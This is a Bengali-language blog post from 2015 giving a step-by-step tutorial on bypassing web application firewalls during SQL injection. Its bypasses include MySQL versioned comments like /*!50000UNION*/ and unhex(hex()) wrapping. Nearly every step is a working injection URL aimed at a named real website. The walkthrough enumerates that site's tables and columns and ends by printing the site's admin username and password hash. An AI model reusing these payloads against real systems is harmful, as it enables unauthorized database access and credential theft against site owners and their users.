Saturday, February 14, 2015

SQL injection Firewall bypass (bangla)

এস্কিউয়াল ইঞ্জেকশন ফায়ারওয়াল বাইপাস
                                                                     --Th3 Ry5ul
সাধারনত অনেক এস্কিউয়াল ভুলনারেবল সাইট এ order by statement দিয়ে ভুলনারেবল কলাম নাম্বার পেলেও union select,union all select এসব কমান্ড দিয়ে স্ট্রিং কলাম বের করা সম্ভব হয়না :( কি আর করার! তখন আমরা WAF(Web Application Firewall) bypass করি :D

·ফায়ারওয়াল বাইপাস এর সাধারন কিউরি গুলো হল =>
১। http://www.site.com/index.php?id=-1 /*!union*/ /*!select*/ 1,2,3,4,version(),6,7,8,9--

২। http://www.site.com/index.php?id=-1 UNIunionON SELselectECT 1,2,3,4,version(),6,7,8,9--

৩। http://www.site.com/index.php?id=-1 un*ion sel*ect 1,2,3,4,version(),6,7,8,9--

আরও থাকতে পারে :P আমার জানা নাই :P
তবে জিঙ্ক কোড দিয়ে ফায়ারওয়াল বাইপাস করা কার্যকরী জিঙ্ক কোড তেমন কিছু না । ভয় পাবেন না :P
50000 হল জিঙ্ক কোড :D
·অনেক সাইটে union select statement দিয়ে লেখা আসে =>

Not Acceptable ! An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.

·আবার অনেক সময় এটা আসেঃ
Forbidden
You don't have permission to access /content.php on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

[এক্সঃ http://www.wdesignstudio.in/article.php?id=-10'+UNION+SELECT+1,2,3--+ ]
·এটা বাইপাস করতে আমরা জিঙ্ক কোড ব্যাবহার করব :D জিঙ্ক কোড =>
http://www.site.com/index.php?id=-1+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6,7,8,9--

[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3--+ ]

২ নাম্বার স্ট্রিং কলাম পেয়েছি :D (এক্সাঃ অনুযায়ী)
·ভারশন বের করতে শুধু ১৭ এর বদলে version() অথবা @@version লিখলে ই হবে ;)
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,@@version,3--+ ]

দেখুন ভারশন হলঃ 5.5.33-31.1 (এক্সাঃ অনুযায়ী)

·এভাবে টেবিল বের করতে group_concat(table_name) এর জায়গায় unhex(hex(/*!50000concat*/(table_name))) বদলে দিতে হবে আর শেষে   from information_schema.tables where table_schema=database()-- এর জায়গাতে /*!50000from*/+information_schema./**/+tables+where+table_schema=database()-- হবে

[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(table_name))),3+/*!50000from*/+information_schema./**/+tables+where+table_schema=database()--+ ]

[নোটঃ অনেক সময় এটা না হলে unhex(hex(/*!50000concat*/(table_name))) এর জায়গায় /*!50000concat*/(table_name) বসিয়ে দেখতে পারেন তাও না হলে unhex(hex(/*12345concat*/(table_name))) এটা দেখেন -_- আর জদি তাও না হয় >_< সাইট রে গুল্লি মারেন (আমি পারিনা :P)]

·BANNERS টেবিল পেয়েছি ! কিন্তু ফায়ারওয়াল বাইপাস এর সমস্যা ১টাই টেবিল আর কলাম সবগুলা ১সাথে আশে নাহ :( আলাদা করে বের করতে হয় এজন্য শেষে limit 1,1 তারপর limit 2,1 একইভাবে limit 3,1 এভাবে বসিয়ে টেবিল / কলাম আলাদা ভাবে বের করতে হয় ! আমরা এখন শেষে limit 1,1  বসাব!
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(table_name))),3+/*!50000from*/+information_schema./**/+tables+where+table_schema=database()+limit+1,1--+ ]

·আমরা  esh_pages টেবিল পেয়েছি :D এভাবে লিমিত বারাতে থাকেন দেখেন limit 7,1 এ users table :v :v
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(table_name))),3+/*!50000from*/+information_schema./**/+tables+where+table_schema=database()+limit+7,1--+ ]

·এখন users এর হেক্স অথবা char দিয়া কলাম বের করব! কলাম বের করতে table_name এর জায়গায় column_name ; tables+where এর জাগায় columns+where আর table_schema এর জায়গায় table_name    :P
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(column_name))),3+/*!50000from*/+information_schema./**/+columns+where+table_name=0x7573657273--+ ]

·ID আসছে এবার limit 1,1 দিয়া দেখেন !! টেবিল জেভাবে বের করছিলেন অইরকম!
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(column_name))),3+/*!50000from*/+information_schema./**/+columns+where+table_name=0x7573657273+limit+1,1--+ ]

· limit 1,1 দিয়া NAME কলাম পাইসেন :D এবার limit 2,1 দিয়া দেখি :D
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(column_name))),3+/*!50000from*/+information_schema./**/+columns+where+table_name=0x7573657273+limit+2,1--+ ]

·PASSWORD কলাম পাইছি :D এবার আমরা column থেকে data বের করব! এজন্য শেষে

/*!50000from*/+users হবে [নোটঃ কারন টেবিল এর নাম users] এবং (column_name)এর জায়গায় (name,0x3a,password) হবে :D :D দেখি তো :P
[এক্সাঃ http://www.wdesignstudio.in/article.php?id=-10'+/*!50000UNION*/+/*!50000SELECT*/+1,unhex(hex(/*!50000concat*/(name,0x3a,password))),3+/*!50000from*/+users--+ ]
·পারসি :D :D (ইয়)
admin: admin

password: 5f4dcc3b5aa765d61d8327deb882cf99

No comments:

Post a Comment